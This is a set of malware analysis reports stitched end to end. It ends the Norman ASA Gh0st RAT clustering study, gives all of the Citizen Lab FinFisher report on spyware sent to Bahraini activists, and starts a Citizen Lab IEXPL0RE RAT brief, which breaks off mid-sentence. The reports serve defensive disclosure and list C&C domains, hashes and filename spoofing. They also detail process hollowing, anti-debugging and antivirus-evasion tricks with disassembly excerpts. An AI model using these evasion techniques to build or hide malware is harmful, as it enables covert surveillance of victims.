ingame item in DFO. + Norman ASA 2012 +Page +| 40 +Cluster: ITore +The ITore cluster appears unconnected to other clusters. The executables are significantly +different from other Gh0st Rats and may be another family altogether, even if the +communication is similar. + Norman ASA 2012 +Page +| 41 +Cluster: KOBBX +The KOBBX cluster consists of 13 samples in the set. It is linked with the HEART cluster +through the common C&C at gyxa.3322.org, and to the LUCKK cluster through +miscommunication from wjdl.3322.org. + Norman ASA 2012 +Page +| 42 +Cluster: KrisR +The KrisR cluster consists of 205 samples. The magic tag is actually +KrisRat +, but the tag is +truncated in traffic to the regular first 5 bytes. +By far most samples connect back to haidishijie.3322.org, but many other C&C +s are in use. +This cluster links with: +FLYNN: see FLYNN +Gh0st: f. ex. haidishijie.3322.org returned +Gh0st + in all cases when receiving +KrisR + on port +8888 +HXWAN: common C&C at ssky.8866.org +Lyyyy: common C&C at ssky.8866.org +XDAPR: common C&C at ssky.8866.org +cb1st: common C&C at daduji.3322.org +FKJP3: common C&C at daduji.3322.org + Norman ASA 2012 +Page +| 43 +Cluster: Level +The Level cluster consists of two samples. It appears unlinked with other clusters. + Norman ASA 2012 +Page +| 44 +Cluster: Lover +The Lover cluster consists of two samples. It appears unlinked with other clusters. + Norman ASA 2012 +Page +| 45 +Cluster: LUCKK +The LUCKK cluster consists of four samples in the set. It is linked with the KOBBX cluster +though communication (see KOBBX). + Norman ASA 2012 +Page +| 46 +Cluster: LURK0 +The LURK0 cluster consists of four samples in the set. This cluster was documented as +connected with the SK Communications breach in South Korea in 2011 (8), and has been +seen used against Tibetan groups (9), (10). +It is also linked with the OXXMM cluster through the usage of a common C&C at the +hardcoded IP 218.28.72.138. + Norman ASA 2012 +Page +| 47 +Cluster: LYRAT +The LYRAT cluster consists of four samples. It appears unconnected with other clusters. + Norman ASA 2012 +Page +| 48 +Cluster: Lyyyy +The Lyyyy cluster consists of 4 samples. It is linked with the KrisR, HXWAN and XDAPR +clusters (See KrisR). + Norman ASA 2012 +Page +| 49 +Cluster: MoZhe +This cluster consists of 87 samples. Most of these connect back to b2bweb.3322.org. MoZhe +is linked with +X6RAT: common C&C at ingalar.3322.org +Winds: common C&C at hkl8973875.3322.org +Additional links are seen through observed traffic. +GWRAT: The GWRAT C&C oa9188.3322.org replies with MoZhe (See GWRAT) +KrisR: The MoZhe C&C at ingalar.3322.org replies with KrisR: + Norman ASA 2012 +Page +| 50 +Cluster: MYFYB +The MYFYB cluster contains three samples. It does not appear connected with other clusters. + Norman ASA 2012 +Page +| 51 +Cluster: MyRat +The MyRat cluster contains two samples. It appears unconnected with other clusters. + Norman ASA 2012 +Page +| 52 +Cluster: OXXMM +The OXXMM cluster contains eight samples. It connects with the Gh0st main cluster through +common C&C at a6422563.vicp.net and to the LURK0 cluster through common C&C at +218.28.72.138. + Norman ASA 2012 +Page +| 53 +Cluster: PCRat +This cluster contains 25 samples, and is linked with the HEART cluster (see HEART), the 7hero +cluster (see 7hero) as well as the main Gh0st cluster through the common C&C at +tajs.3322.org. It is also linked to the Winds cluster through common C&C at mstsc5.3322.org. +PCRat samples have been documented used against Uyghur groups (11). +It is debatable how valid the PCRat connections are. There is apparently a commercially +available modification of Gh0st rat called PCRat, which we have not yet seen copies of. If +that kit uses the PCRat magic tag as there is reason to suspect, this cluster is of little value. + Norman ASA 2012 +Page +| 54 +Cluster: QWPOT +The QWPOT cluster contains only one sample. It is connected to the Xjjhj and Gh0st clusters +through its C&C at s17178.3322.org. + Norman ASA 2012 +Page +| 55 +Cluster: Spidern +The Spidern cluster consists of five samples. It appears unconnected to other clusters. + Norman ASA 2012 +Page +| 56 +Cluster: Tyjhu +The Tyjhu cluster contains seven samples. It is connected to the Winds cluster through +common C&C at troyok.3322.org. + Norman ASA 2012 +Page +| 57 +Cluster: URATU +The URATU cluster contains three samples. It appears unconnected with other clusters. +However, recently it has been connected with attacks on Nepalese Government websites +(12). + Norman ASA 2012 +Page +| 58 +Cluster: W0LFKO +The W0LFKO cluster consists of one sample. It is linked to the Wangz cluster by the C&C +a1019500182.3322.org which replies +W0LFKO + when connection is attempted. + Norman ASA 2012 +Page +| 59 +Cluster: Wangz +There are eight samples in the Wangz cluster. Wangz links with W0LFKO (see W0LFKO), +IM007 (see IM007) clusters, and also with Xjjhi cluster through observed communication +from the Wangz C&C a6603892.gicp.net. + Norman ASA 2012 +Page +| 60 +Cluster: whmhl +The whmhl cluster consists of 9 samples; actually only 8 are Gh0stRats. The last sample is a +DarkShell ddos bot. It is included because it links this cluster with another. +The DarkShell bot connected to ddos.pk39.com on port 5566. This resolved to the same IP as +www.pk39.com, the C&C server for the cb1st cluster. The pcap from this connection reveals +that ddos.pk39.com replies with +whmhl +. Gotcha. + Norman ASA 2012 +Page +| 61 +Cluster: Winds +The Winds cluster encompasses 21 samples. It is linked with the Tyjhu cluster (see Tyjhu), +the PCRat cluster (see PCRat) and the MoZhe cluster (see MoZhe). + Norman ASA 2012 +Page +| 62 +Cluster: World +The World cluster consists of seven samples. +Samples in this cluster all give the impression that they use hardcoded IP addresses for their +C&C communication. This is because the real C&C ip is not stored in the executable, but +exists base64 encoded in a text file downloaded from a remote site. Thus these files are +shown with two C&C connections. +This cluster does not seem linked with other clusters. However, there is a strong +resemblance between these samples and some samples in the Wangz cluster (e.g. +c577b5a8d07982a2c6c42a7352c0cef8). + Norman ASA 2012 +Page +| 63 +Cluster: X6RAT +The X6RAT cluster consists of one sample. It is linked to the MoZhe cluster (see MoZhe) and +Gh0st. + Norman ASA 2012 +Page +| 64 +Cluster: XDAPR +The XDAPR cluster contains 28 samples. It is linked with the KrisR, HXWAN, cb1st, FKJP3 and +Lyyyy clusters. (See KrisR). + Norman ASA 2012 +Page +| 65 +Cluster: xhjyk +The xhjyk cluster consists of one sample. Its C&C server, wo379733061.3322.org, is used by +another sample (MD5 2f463a39c10d507b4295e16b7b4e0033) which also connects to +wk1888.com, the C&C for Gh0st and the c1bst clusters. It +s also worth noting that one of the +s for the KrisR cluster is wo379733063.3322.org + only one digit different from this C&C, +and corroborates the impression that the KrisR and cb1st clusters are connected. + Norman ASA 2012 +Page +| 66 +Cluster: Xjjhj +The Xjjhj cluster contains 19 samples. It is linked with the Wangz, attac and QWPOT clusters. + Norman ASA 2012 +Page +| 67 +Conclusions +This study shows the presence of several logical links between different Ghost campaigns: +Links between malware type (in this case illustrated by the network protocol magic tag), +links in the C&C infrastructure and to some extent links in the registration information. +Due to the necessary scope limitation, many other links had to remain unexamined. +However, the present work shows that some of the most active and prolific malware +campaigns share enough connections indicate that the same groups or individuals are +involved. +In the cases where we have been able to say something about the entities responsible for +the attacks, it seems apparent that the persons involved can be considered career criminals. +These are people that have their hand in many different types of online crime, have been +doing it for quite some time, and often target victims inside China itself. +Smaller clusters are in many ways more interesting. They are often more difficult to track, as +they obviously leave less clues as to who is behind the attack and what the purpose is. +Clusters that have been involved in targeted attacks typically belong to these. + Norman ASA 2012 +Page +| 68 +References +1. Wikipedia. GhostNet. Wikipedia. [Online] +http://en.wikipedia.org/wiki/GhostNet. +2. Clean-MX. wt1888.com. Clean-MX domain search. [Online] +http://support.clean-mx.de/clean-mx/viruses.php?domain=wt1888.com. +3. Clean-MX. 81266966.com. Clean-MX domain search. [Online] +http://support.clean-mx.de/clean-mx/viruses.php?domain=81266966.com. +4. beishan.info. [Online] +http://bbs.beishan.info/thread-849-1-1.html. +5. cyberpolice.cn. Nanchang Cyberpolice. [Online] +http://www.nanchang.cyberpolice.cn/show_news.asp?ID=1160. +6. Blasco, Jaime. Targeted attacks against Tibet organizations. AlienVault Labs. [Online] +http://labs.alienvault.com/labs/index.php/2012/targeted-attacks-against-tibet-organizations/. +7. Villeneuve, Nart. The Significance of the +Nitro + Attacks. Trend Micro. [Online] +http://blog.trendmicro.com/the-significance-of-the-nitro-attacks/. +8. Command Five Pty Ltd. Command and Control in the Fifth Domain. [Online] +http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf. +9. University of Toronto. Recent Observations in Tibet-Related Information Operations: Advanced +Social Engineering for the Distribution of LURK Malware. Citizen Lab. [Online] +https://citizenlab.org/wp-content/uploads/2012/07/10-2012-recentobservationsintibet.pdf. +10. Walton, Greg. Tibetan journalists targeted by Gh0stRAT in Protest pictures.rar. MalwareLab. +[Online] +https://malwarelab.zendesk.com/entries/21199507-tibetan-journalists-targeted-by-gh0strat-inprotest-pictures-rar. +11. Blasco, Jaime. New MaControl variant targeting Uyghur users, the Windows version using Gh0st +RAT. AlienVault Labs. [Online] +http://labs.alienvault.com/labs/index.php/2012/new-macontrol-variant-targeting-uyghur-users-thewindows-version-using-gh0st-rat/. +12. Giuliani, Gianluca og Sharf, Elad. Nepalese government websites compromised to serve Zegost +RAT . Websense Security Labs Blog. [Online] +http://community.websense.com/blogs/securitylabs/archive/2012/08/08/nepalese-governmentwebsites-compromised-to-serve-zegost-backdoor.aspx. + Norman ASA 2012 +Page +| 69 + Norman ASA 2012 +Page +| 70 +Research Brief +July 2012 +The Citizen Lab +From Bahrain with Love: +FinFisher +s Spy Kit Exposed? +Author: Morgan Marquis-Boire +INTRODUCTION +The FinFisher Suite is described by its distributors, Gamma International UK Ltd., as "Governmental IT +Intrusion and Remote Monitoring Solutions." 1 The toolset first gained notoriety after it was revealed that the +Egyptian Government +s state security apparatus had been involved in negotiations with Gamma International +UK Ltd. over the purchase of the software. Promotional materials have been leaked that describe the tools as +providing a wide range of intrusion and monitoring capabilities.2 Despite this, however, the toolset itself has +not been publicly analyzed. +This post contains analysis of several pieces of malware obtained by Vernon Silver of Bloomberg News that +were sent to Bahraini pro-democracy activists in April and May of this year. The purpose of this work is +identification and classification of the malware to better understand the actors behind the attacks and the risk +to victims. In order to accomplish this, we undertook several different approaches during the investigation. +As well as directly examining the samples through static and dynamic analysis, we infected a virtual machine +(VM) with the malware. We monitored the filesystem, network, and running operating system of the infected +This analysis suggests the use of +Finspy +, part of the commercial intrusion kit, Finfisher, distributed by +Gamma International. +July 2012 +DELIVERY +This section describes how the malware was delivered to potential victims using e-mails with malicious +attachments. +In early May, we were alerted that Bahraini activists were targeted with apparently malicious e-mails. The +emails ostensibly pertained to the ongoing turmoil in Bahrain, and encouraged recipients to open a series of +suspicious attachments. The screenshot below is indicative of typical message content: +The attachments to the e-mails we have been able to analyze were typically .rar files, which we found to +contain malware. Note that the apparent sender has an e-mail address that indicates that it was being sent by +Melissa Chan, + who is a real correspondent for Aljazeera English. We suspect that the e-mail address is not +her real address.3 The following samples were examined: +324783fbc33ec117f971cca77ef7ceaf7ce229a74edd6e2b3bd0effd9ed10dcc rar. +c5b39d98c85b21f8ac1bedd91f0b6510ea255411cf19c726545c1d0a23035914 _gpj.ArrestedXSuspects.rar +c5b37bb3620d4e7635c261e5810d628fc50e4ab06b843d78105a12cfbbea40d7 +KingXhamadXonXofficialXvisitXtoX.rar +80fb86e265d44fbabac942f7b26c973944d2ace8a8268c094c3527b83169b3cc MeetingXAgenda.rar +f846301e7f190ee3bb2d3821971cc2456617edc2060b07729415c45633a5a751 Rajab.rar +These contained executables masquerading as picture files or documents: +49000fc53412bfda157417e2335410cf69ac26b66b0818a3be7eff589669d040 dialoge.exe +cc3b65a0f559fa5e6bf4e60eef3bffe8d568a93dbb850f78bdd3560f38218b5c exe.Rajab1.jpg +39b325bd19e0fe6e3e0fca355c2afddfe19cdd14ebda7a5fc96491fc66e0faba exe.image1.jpg +e48bfeab2aca1741e6da62f8b8fc9e39078db574881691a464effe797222e632 exe.Rajab.jpg +2ec6814e4bad0cb03db6e241aabdc5e59661fb580bd870bdb50a39f1748b1d14 exe.Arrested Suspects.jpg +c29052dc6ee8257ec6c74618b6175abd6eb4400412c99ff34763ff6e20bab864 News about the existence of a +new dialogue between AlWefaq & Govt..doc +July 2012 +The emails generally suggested that the attachments contained political content of interest to pro-democracy +activists and dissidents. In order to disguise the nature of the attachments a malicious usage of +the +righttoleftoverride" (RLO) character was employed. The RLO character (U+202e in unicode) controls the +positioning of characters in text containing characters flowing from right to left, such as Arabic or Hebrew. +The malware appears on a victim +s desktop as "exe.Rajab1.jpg" (for example), along with the default +Windows icon for a picture file without thumbnail. But, when the UTF-8 based filename is displayed in +ANSI, the name is displayed as "gpj.1bajaR.exe +. Believing that they are opening a harmless +.jpg +, victims +are instead tricked into running an executable ".exe" file.4 +Upon execution these files install a multi-featured trojan on the victim +s computer. This malware provides the +attacker with clandestine remote access to the victim +s machine as well as comprehensive data harvesting and +exfiltration capabilities. +INSTALLATION +This section describes how the malware infects the target machine. +The malware displays a picture as expected. This differs from sample to sample. The sample +Arrested +Suspects.jpg +gpj.stcepsuS detserrA.exe +) displays: +July 2012 +It additionally creates a directory (which appears to vary from sample to sample): +C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF +It copies itself there (in this case the malware appears as +Arrested Suspects.jpg +) where it is renamed: +C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\Arrested Suspects.jpg +C:\Documents and Settings\XPMUser\Local Settings\Temp\TMP51B7AFEF\tmpD.tmp +Then it drops the following files: +C:\DOCUME~1\%USER%\LOCALS~1\Temp\delete.bat +C:\DOCUME~1\%USER%\LOCALS~1\Temp\driverw.sys +It creates the folder (the name of which varies from host to host): +C:\Documents and Settings\%USER%\Application Data\Microsoft\Installer\{5DA45CC9-D840-47CC9F86-FD2E9A718A41} +This process is observable on the filesystem timeline of the infected host (click image to enlarge): +driverw.sys + is loaded and then +delete.bat + is run which deletes the original payload and itself. It then +infects existing operating system processes, connects to the command and control server, and begins data +harvesting and exfiltration. +July 2012 +Examining the memory image of a machine infected with the malware shows that a technique for infecting +processes known as +process hollowing" is used. For example, the memory segment below from the +winlogon.exe + process is marked as executable and writeable: +Here the malware starts a new instance of a legitimate process such as +winlogon.exe + and before the +process +s first thread begins, the malware de-allocates the memory containing the legitimate code and injects +malicious code in its place. Dumping and examining this memory segment reveals the following strings in the +infected process: +Note the string: +y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c +July 2012 +This file seems to correspond to a file in the GNU Multi-Precision arithmetic library: +http://gmplib.org:8000/gmp/file/b5ca16212198/mpn/generic/tdiv_qr.c +The process +svchost.exe + was also found to be infected in a similar manner: +July 2012 +Further examination of the memory dump also reveals the following: +This path appears to reference the functionality that the malware uses to modify the boot sequence to enable +persistence: +y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv +er.pdb +A pre-infection vs post-infection comparison of the infected VM shows that the Master Boot Record (MBR) +was modified by code injected by the malware. +The strings found in memory +finspyv4.01 + and +finspyv2 + are particularly interesting. The FinSpy tool is +part of the FinFisher intrusion and monitoring toolkit.5 +OBFUSCATION AND EVASION +This section describes how the malware is designed to resist analysis and evade identification. +The malware employs a myriad of techniques designed to evade detection and frustrate analysis. While +investigation into this area is far from complete, we discuss several discovered methods as examples of the +lengths taken by the developers to avoid identification. +A virtualised packer is used. This type of obfuscation is used by those that have +strong motives to prevent +their malware from being analyzed +This converts the native x86 instructions of the malware into another custom language chosen from one of 11 +code templates. At run-time, this is interpreted by an obfuscated interpreter customized for that particular +language. This virtualised packer was not recognised and appears to be bespoke. +July 2012 +Several anti-debugging techniques are used. This section of code crashes the popular debugger, OllyDbg. +.text:00401683 finit +.text:00401686 fld ds:tbyte_40168E +.text:0040168C jmp short locret_401698 +--------------------------------------------------------------------.text:0040168E tbyte_40168E dt 9.2233720368547758075e18 +--------------------------------------------------------------------.text:00401698 locret_401698: +.text:00401698 retn +This float value causes OllyDbg to crash when trying to display its value. A more detailed explanation of this +can be found here. +To defeat DbgBreakPoint based debuggers, the malware finds the address of DbgBreakPoint, makes the page +EXECUTE_READWRITE and writes a NOP on the entry point of DbgBreakPoint. +The malware checks via PEB to detect whether or not it is being debugged, and if it is it returns a random +address. +The malware calls ZwSetInformationThread with ThreadInformationClass set to 0x11, which causes the +thread to be detached from the debugger. +The malware calls ZwQueryInformationProcess with ThreadInformationClass set to 0x(ProcessDebugPort) +and 0x1e (ProcessDebugObjectHandle) to detect the presence of a debugger. If a debugger is detected it jumps +to a random address. ZwQueryInformationProcess is also called to check the DEP status on the current +process, and it disables it if it +s found to be enabled. +The malware deploys a granular solution for Antivirus software, tailored to the AV present on the infected +machine. The malware calls ZwQuerySystemInformation to get ProcessInformation and ModuleInformation. +The malware then walks the list of processes and modules looking for installed AV software. Our analysis +indicates that the malware appears to have different code to Open/Create process and inject for each AV +solution. For some Anti-Virus software this even appears to be version dependent. The function +ZwQuerySystemInformation + is also hooked by the malware, a technique frequently used to allow process +hiding: +July 2012 +DATA HARVESTING AND ENCRYPTION +This section describes how the malware collects and encrypts data from the infected machine. +July 2012 +Our analysis showed that the malware collects a wide range of data from an infected victim. The data is +stored locally in a hidden directory, and is disguised with encryption prior to exfiltration. +"C:\Windows\Installer\{49FD463C-18F1-63C4-8F12-49F518F127}." +On the reference victim host, the directory was: +We conducted forensic examination of the files created in this directory and identified a wide range of data +collected. Files in this directory were found to be screenshots, keylogger data, audio from Skype calls, +passwords and more. For the sake of brevity we include a limited set of examples here. +The malware attempts to locate the configuration and password store files for a variety browsers and chat +clients as seen below: +July 2012 +We observed the creation of the file +t111o00000000.dat + in the data harvesting directory, as shown in the +filesystem timeline below: +Thu Jun 14 2012 12:31:34 52719 mac. r/rr-xr-xr-x 0 0 26395-128-5 C:/WINDOWS/Installer/{49FD463C18F1-63C4-8F12-49F518F127}/09e493e2-05f9-4899-b661-c52f3554c644 +Thu Jun 14 2012 12:32:18 285691 ...b r/rrwxrwxrwx 0 0 26397-128-4 C:/WINDOWS/Installer/{49FD463C18F1-63C4-8F12-49F518F127}/t111o00000000.dat +Thu Jun 14 2012 12:55:12 285691 mac. r/rrwxrwxrwx 0 0 26397-128-4 +C:/WINDOWS/Installer/{49FD463C-18F1-63C4-8F12-49F518F127}/t111o00000000.dat +4096 ..c. -/rr-xr-xr-x 0 0 26447-128-4 +The infected process +winlogon.exe + was observed writing this file via Process: +July 2012 +Examination of this file reveals that it is a screenshot of the desktop: +Many other modules providing specific exfiltration capabilities were observed. Generally, the exfiltration +modules write files to disk using the following naming convention: XXY1TTTTTTTT.dat. XX is a two-digit +hexadecimal module number, Y is a single-digit hexadecimal submodule number, and TTTTTTTT is a +hexadecimal representation of a unix timestamp (less 1.3 billion) associated with the file creation time. +ENCRYPTION +The malware uses encryption in an attempt to disguise harvested data in the .dat files intended for exfiltration. +Data written to the files is encrypted using AES-256-CBC (with no padding). The 32-byte key consists of 8 +readings from memory address 0x7ffe0014: a special address in Windows that contains the low-order-4-bytes +of the number of hundred-nanoseconds since 1 January 1601. The IV consists of 4 additional readings. +The AES key structure is highly predictable, as the quantum for updating the system +clock (HKLM\SYSTEM\CurrentControlSet\Services\W32Time\Config\LastClockRate) is set to +July 2012 +0x2625A hundred-nanoseconds by default, and the clock readings that comprise the key and IV are taken in a +tight loop: +0x406EA4: 8D45C0 LEA EAX,[EBP-0x40] +0x406EA7: 50 PUSH EAX +0x406EA8: FF150C10AF01 CALL DWORD PTR [0x1AF100C] +0x406EAE: 8B4DE8 MOV ECX,DWORD PTR [EBP-0x18] +0x406EB1: 8B45C0 MOV EAX,DWORD PTR [EBP-0x40] +0x406EB4: 8345E804 ADD DWORD PTR [EBP-0x18],0x4 +0x406EB8: 6A01 PUSH 0x1 +0x406EBA: 89040F MOV DWORD PTR [EDI+ECX],EAX +0x406EBD: FF152810AF01 CALL DWORD PTR [0x1AF1028] +0x406EC3: 817DE800010000 CMP DWORD PTR [EBP-0x18],0x100 +0x406ECA: 72D8 JB 0x406EA4 +0x406ECC: 80277F AND BYTE PTR [EDI],0x7F +The following AES keys were among those found to be used to encrypt records in .dat files. The first contains +the same 4 bytes repeated, whereas in the second key, the difference between all consecutive 4-byte blocks +(with byte order swapped) is 0x2625A. +70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 bd cc 70 31 +bd cc 70 31 bd cc +26 e9 23 60 80 4b 26 60 da ad 28 60 34 10 2b 60 8e 72 2d 60 e8 d4 2f 60 42 37 +32 60 9c 99 34 60 +In all, 64 clock readings are taken. The readings are encrypted using an RSA public key found in memory +(whose modulus begins with A25A944E) and written to the .dat file before any other encrypted data. No +padding is used in the encryption, yielding exactly 256 encrypted bytes. After the encrypted timestamp +values, the file contains a number of records encrypted with AES, delimited by EAE9E8FF. +July 2012 +In reality, these records are only partially encrypted: if the record +s length is not a multiple of 16 bytes (the +AES block size), then the remainder of the bytes are written to the file unencrypted. For example, after typing +FinSpy + on the keyboard, the keylogger module produced the following (trailing plaintext highlighted): +The predictability of the AES encryption keys allowed us to decrypt and view these partially-encrypted +records in full plaintext. The nature of the records depends on the particular module and submodule. For +example, submodule Y == 5 of the Skype exfiltration module (XX == 14), contains a csv representation of the +user +s contact list: +Record # 0 Length: 243 bytes: +192.168.131.67JRecordingEcsv 0 +-0800UTC DST.1 +2012-07-18 18:00:21.: +1970-01-01 +00:16:00Abhwatch1 +Record # 1 Length: 96 bytes: +`USERNAME,FULLNAME,COUNTRY,AUTHORIZED,BLOCKED +Record # 2 Length: 90 bytes: +Zecho123,Echo / Sound Test Service,,YES,NO +Record # 3 Length: 95 bytes: +^bhwatch2,Bahrain Watch,United States,YES,NO +July 2012 +Submodule Y == 3 records file transfers. After a Skype file transfer concludes, the following file is created: +%USERPROFILE%\Local Settings\Temp\smtXX.tmp. This file appears to contain the sent / received +file. As soon as smtXX.tmp is finished being written to disk, a file (1431XXXXXXXX.dat) is written, +roughly the same size as smtXX.tmp. After sending a picture (of birdshot shotgun shell casings used by +Bahrain +s police) to an infected Skype client, the file 1431028D41FD.dat was observed being written to +disk. Decrypting it revealed the following: +Record # 0 Length: 441 bytes: +192.168.131.67Abhwatch1Bbhwatch2"CBahrain WatchIreceivedrC:\Documents and +Settings\XPMUser\My Documents\gameborev3.jpgJRecording 0 +-0800UTC DST.1 +2012-07-20 +12:18:21.: +2012-07-20 12:18:21 +Record # 1 Length: 78247 bytes: +[Note: Record #1 contained the contents of the .jpg file, preceded by hex A731010090051400, and +followed by hex 0A0A0A0A.] +July 2012 +Additionally, submodule Y == 1 records Skype chat messages, and submodule Y == 2 records audio from all +participants in a Skype call. The call recording functionality appears to be provided by hooking +DirectSoundCaptureCreate: +COMMAND AND CONTROL +This section describes the communications behavior of the malware. +When we examined the malware samples we found that they connect to a server at IP address 77.69.140.194 +July 2012 +WHOIS data7 reveals that this address is owned by Batelco, the principal telecommunications company of +Bahrain: +inetnum: 77.69.128.0 - 77.69.159.255 +netname: ADSL +descr: Batelco ADSL service +country: bh +For a period of close to 10 minutes, traffic was observed between the infected victim and the command and +control host in Bahrain. +A summary of the traffic by port and conversation size (click image to enlarge): +The infected VM talks to the remote host on the following five TCP ports: +4111 +Based on observation of an infected machine we were able to determine that the majority of data is exfiltrated +to the remote host via ports 443 and 4111. +July 2012 +192.168.131.65:1213 -> 77.69.140.194:443 1270075 bytes +192.168.131.65:4111 -> 77.69.149.194:4111 4766223 bytes +CONCLUSIONS ABOUT MALWARE IDENTIFICATION +Our analysis yields indicators about the identity of the malware we have analyzed: (1) debug strings found the +in memory of infected processes appear to identify the product and (2) the samples have similarities with +malware that communicates with domains belonging to Gamma International. +Debug Strings found in memory +As we previously noted, infected processes were found containing strings that include +finspyv4.01 + and +finspyv2 +y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-tdiv_qr.c +y:\lsvn_branches\finspyv4.01\finspyv2\src\libs\libgmp\mpn-mul_fft.c +y:\lsvn_branches\finspyv4.01\finspyv2\src\target\bootkit_x32driver\objfre_w2k_x86\i386\bootkit_x32driv +er.pdb +Publicly available descriptions of the FinSpy tool collected by Privacy International among others and posted +on Wikileaks8 make the a series of claims about functionality: +Bypassing of 40 regularly tested Antivirus Systems +Covert Communication with Headquarters +Full Skype Monitoring (Calls, Chats, File Transfers, Video, Contact List) +Recording of common communication like Email, Chats and Voice-over-IP +Live Surveillance through Webcam and Microphone +Country Tracing of Target +Silent Extracting of Files from Hard-Disk +Process-based Key-logger for faster analysis +Live Remote Forensics on Target System +Advanced Filters to record only important information +Supports most common Operating Systems (Windows, Mac OSX and Linux) +July 2012 +Shared behavior with a sample that communicates with Gamma +The virtual machine used by the packer has very special sequences in order to execute the virtualised code, for +example: +66 C7 07 9D 61 mov word ptr [edi], 619Dh +C6 47 02 68 mov byte ptr [edi+2], 68h +89 57 03 mov [edi+3], edx +C7 47 07 68 00 00 00 mov dword ptr [edi+7], 68h +89 47 08 mov [edi+8], eax +C6 47 0C C3 mov byte ptr [edi+0Ch], 0C3h +Based on this we created a signature from the Bahrani malware, which we shared with another security +researcher who identified a sample that shared similar virtualised obfuscation. That sample is: +md5: c488a8aaef0df577efdf1b501611ec20 +sha1: 5ea6ae50063da8354e8500d02d0621f643827346 +sha256: 81531ce5a248aead7cda76dd300f303dafe6f1b7a4c953ca4d7a9a27b5cd6cdf +The sample connects to the following domains: +tiger.gamma-international.de +ff-demo.blogdns.org +The domain tiger.gamma-international.de has the following Whois information9: +Domain: gamma-international.de +Name: Martin Muench +Organisation: Gamma International GmbH +Address: Baierbrunner Str. 15 +PostalCode: 81379 +City: Munich +CountryCode: DE +Phone: +49-89-2420918-0 +Fax: +49-89-2420918-1 +Email: info@gamma-international.de +Changed: 2011-04-04T11:24:20+02:00 +July 2012 +Martin Muench is a representative of Gamma International, a company that sells +advanced technical +surveillance and monitoring solutions +. One of the services they provide is FinFisher: IT Intrusion, including +the FinSpy tool. This labelling indicates that the matching sample we were provided may be a demo copy a +FinFisher product per the domain ff-demo.blogdns.org. +We have linked a set of novel virtualised code obfuscation techniques in our Bahraini samples to another +binary that communicates with Gamma International IP addresses. Taken alongside the explicit use of the +name +FinSpy + in debug strings found in infected processes, we suspect that the malware is the FinSpy remote +intrusion tool. This evidence appears to be consistent with the theory that the dissidents in Bahrain who +received these e-mails were targeted with the FinSpy tool, configured to exfiltrate their harvested information +to servers in Bahraini IP space. If this is not the case, we invite Gamma International to explain. +RECOMMENDATIONS +The samples from email attachments have been shared with selected individuals within the security +community, and we strongly urge antivirus companies and security researchers to continue where we have left +off. +Be wary of opening unsolicited attachments received via email, skype or any other communications +mechanism. If you believe that you are being targeted it pays to be especially cautious when downloading +files over the Internet, even from links that are purportedly sent by friends. +ACKNOWLEDGEMENTS +Malware analysis by Morgan Marquis-Boire and Bill Marczak. Assistance from Seth Hardy and Harry Tuttle +gratefully received. +Special thanks to John Scott-Railton. +Thanks to Marcia Hofmann and the Electronic Frontier Foundation (EFF). +We would also like to acknowledge Privacy International for their continued work and graciously provided +background information on Gamma International. +July 2012 +FOOTNOTES +http://www.finfisher.com/ +http://owni.eu/2011/12/15/finfisher-for-all-your-intrusive-surveillance-needs/#SpyFiles +http://blogs.aljazeera.com/profile/melissa-chan +This technique was used in the recent Madi malware attacks. +http://www.finfisher.com/ +Unpacking Virtualised Obfuscators by Rolf Rolles http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf +http://whois.domaintools.com/77.69.140.194 +E.g. http://wikileaks.org/spyfiles/files/0/289_GAMMA-201110-FinSpy.pdf +http://whois.domaintools.com/gamma-international.de +Back to top +MEDIA COVERAGE +The Wall Street Journal +Slate +Tech Week Europe +Bloomberg +Electronic Frontier Foundation +Privacy International +Spiegel Online +PC Mag +The New York Times +About the Author +Morgan Marquis-Boire is a Technical Advisor at the Citizen Lab, Munk School of Global Affairs, University +of Toronto. He works as a Security Engineer at Google specializing in Incident Response, Forensics and +Malware Analysis. +CITIZEN LAB TECHNICAL BRIEF +IEXPL0RE RAT +BY SETH HARDY | AUGUST 2012 +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +INTRODUCTION +This report describes a remote access trojan (RAT) that three human rights-related organizations taking part in a Citizen Lab study on targeted cyber threats against human rights groups +received via email in 2011 and at the end of 2010. Here we refer to it as the IEXPL0RE RAT, +after the name of the launcher program. It was first called +Sharky RAT + in Seth Hardy +s talk at +SecTor 2011. Since then it has also been referred to as c0d0so0 and possibly Backdoor.Briba. +A RAT is a program that allows a remote user full access to a computer. This type of program +can be used for legitimate reasons. In these cases, RAT can also stand for remote administration +tool. In the case of the IEXPL0RE RAT, the remote user has the ability to record user keystrokes +(including passwords), copy and delete files, download and run new programs, and even use the +computer +s microphone and camera to listen to and watch the user in real-time. +RATs are common in targeted malware attacks against human rights organizations and other +NGOs. Targeted attacks with this sort of payload are often referred to as advanced persistent +threats (APTs). APTs differ from other traditional computer attacks in that they are designed to +be quiet and collect data over time, and act as a starting point for future tracking and compromise of targets. It is not uncommon for an APT infection to persist for months or even years after +the malicious program is first run. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +ATTACK VECTOR +Attempted delivery of the malware was via email attachment, employing social engineering techniques. The emails that contained the attached IEXPL0RE RAT were different every time, with +a unique email and delivery method used for each attempt, including multiple versions targeted +at the same organization. Each email was tailored specifically for the target, both in terms of +subject, content, and the way the RAT was attached and hidden. +Organization 1: a human rights NGO received multiple emails with interesting keywords from +senders claiming to be from personal friends. These emails included an executable attachment +in a password-protected archive, which helps prevent detection by antivirus software. The password was included in the email address. +Organization 2: a news organization operating a website that reports on developments in China, +received an email containing a story about a high-rise apartment building fire. Attached to the +email were four images and two executable files (.scr extensions) designed to look like images +using the Unicode right-to-left override character. When each executable file is run, it will install +and launch the malware, drop an image, open the image, and delete itself. The end result is that +only an image is left, making the email look more legitimate if the malware is run (figure 1). +FIGURE 1: IMAGE OF A HIGH-RISE FIRE USED TO TRICK RECIPIENTS INTO RUNNING THE MALWARE. +CITIZEN LAB TECHNICAL BRIEF: IEXPL0RE RAT +Organization 3: a 